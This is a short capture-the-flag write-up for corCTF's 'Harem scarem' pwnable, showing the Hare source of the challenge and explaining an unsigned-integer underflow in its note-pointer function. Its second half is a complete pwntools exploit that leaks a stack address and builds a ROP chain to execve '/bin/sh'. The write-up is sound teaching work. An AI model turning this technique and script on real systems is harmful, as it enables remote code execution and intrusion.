Hello, folks! It’s been a long time since my last write-up and there goes a short one. Harem scarem was a cool challenge from corCTF. It was a pwnable challenge, at first sight, We though it was about some fancy heap exploitation, but, turns out it was much simpler.
The source code of the challenge was provided and you can check it below.
use fmt;
use bufio;
use bytes;
use os;
use strings;
use unix::signal;
const bufsz: u8 = 8;
type note = struct {
title: [32]u8,
content: [128]u8,
init: bool,
};
fn ptr_forward(p: *u8) void = {
if (*p == bufsz - 1) {
fmt::println("error: out of bounds seek")!;
} else {
*p += 1;
};
return;
};
fn ptr_back(p: *u8) void = {
if (*p - 1 < 0) {
fmt::println("error: out of bounds seek")!;
} else {
*p -= 1;
};
return;
};
fn note_add(note: *note) void = {
fmt::print("enter your note title: ")!;
bufio::flush(os::stdout)!;
let title = bufio::scanline(os::stdin)! as []u8;
let sz = if (len(title) >= len(note.title)) len(note.title) else len(title);
note.title[..sz] = title[..sz];
free(title);
fmt::print("enter your note content: ")!;
bufio::flush(os::stdout)!;
let content = bufio::scanline(os::stdin)! as []u8;
sz = if (len(content) >= len(note.content)) len(note.content) else len(content);
note.content[..sz] = content[..sz];
free(content);
note.init = true;
};
fn note_delete(note: *note) void = {
if (!note.init) {
fmt::println("error: no note at this location")!;
return;
};
bytes::zero(note.title);
bytes::zero(note.content);
note.init = false;
return;
};
fn note_read(note: *note) void = {
if (!note.init) {
fmt::println("error: no note at this location")!;
return;
};
fmt::printfln("title: {}\ncontent: {}",
strings::fromutf8_unsafe(note.title),
strings::fromutf8_unsafe(note.content)
)!;
return;
};
fn handler(sig: int, info: *signal::siginfo, ucontext: *void) void = {
fmt::println("goodbye :)")!;
os::exit(1);
};
export fn main() void = {
signal::handle(signal::SIGINT, &handler);
let idx: u8 = 0;
let opt: []u8 = [];
let notes: [8]note = [
note { title = [0...], content = [0...], init = false}...
];
let notep: *[*]note = ¬es;
assert(bufsz == len(notes));
for (true) {
fmt::printf(
"1) Move note pointer forward
2) Move note pointer backward
3) Add note
4) Delete note
5) Read note
6) Exit
> ")!;
bufio::flush(os::stdout)!;
opt = bufio::scanline(os::stdin)! as []u8;
defer free(opt);
switch (strings::fromutf8(opt)!) {
case "1" => ptr_forward(&idx);
case "2" => ptr_back(&idx);
case "3" => note_add(¬ep[idx]);
case "4" => note_delete(¬ep[idx]);
case "5" => note_read(¬ep[idx]);
case "6" => break;
case => fmt::println("Invalid option")!;
};
};
};
Correct me if I’m wrong, but we believe the challenge was written in Hare programming language.
Driving through the source code, we can figure out the vulnerability, it lies in the ptr_back
function:
fn ptr_back(p: *u8) void = {
if (*p - 1 < 0) {
fmt::println("error: out of bounds seek")!;
} else {
*p -= 1;
};
return;
};
The type of p
is unsigned, so *p-1
will never be less than 0. We can make idx
be equal to 0xa
and get $RIP
control. Also, we can leak the stack address
through the function note_read
.
Exploit
The full exploit is provided below.
#!/usr/bin/env python
from pwn import *
import sys
def pa(addr):
info("%#x", addr)
def move_ptr_back():
p.sendlineafter(b'>', b'2')
def note_add(title, content):
p.sendlineafter(b'>', b'3')
p.sendlineafter(b'title:', title)
p.sendlineafter(b'content:', content)
def read_note():
p.sendlineafter(b'>', b'5')
def exploit():
for i in range(246):
move_ptr_back()
if REMOTE:
note_add(b'AAA', b'BBB')
# leak stack address
read_note()
p.recvuntil('content:')
p.recv(15)
stack_leak = u64(p.recv(8))
pa(stack_leak)
rop_chain = b'B' * 14
rop_chain += p64(stack_leak+8) # RBP -> RSP+8
rop_chain += p64(0x800496b) # clc ; mov rax, qword ptr [rbp - 8] ; leave ; ret)
rop_chain += p64(0x3b) # execve syscall number
rop_chain += p64(stack_leak+48) # RBP -> RSP+48
rop_chain += p64(0x80169cc) # pop rsi ; pop r13 ; pop r12 ; pop rbx ; leave ; ret
rop_chain += p64(stack_leak+32) # rsi
rop_chain += b'/bin/sh\x00' # r13
rop_chain += p64(0) # r12
rop_chain += p64(0xbabebabe) # rbx
rop_chain += p64(0x801a452) # clc ; mov rdi, rsi ; mov rsi, rdx ; syscall
note_add(b'AAABBBCCC', rop_chain)
p.interactive()
if __name__ == '__main__':
REMOTE = len(sys.argv) > 1
if REMOTE:
p = remote(sys.argv[1], int(sys.argv[2]))
p.recvuntil('-s ')
pof_ps = process(['./pow', p.recvline().strip()])
pof = pof_ps.readline()
p.sendline(pof)
else:
p = process(['./harem'])
exploit()
Capture the Flag , Hare programming language , Pwnable , Writeup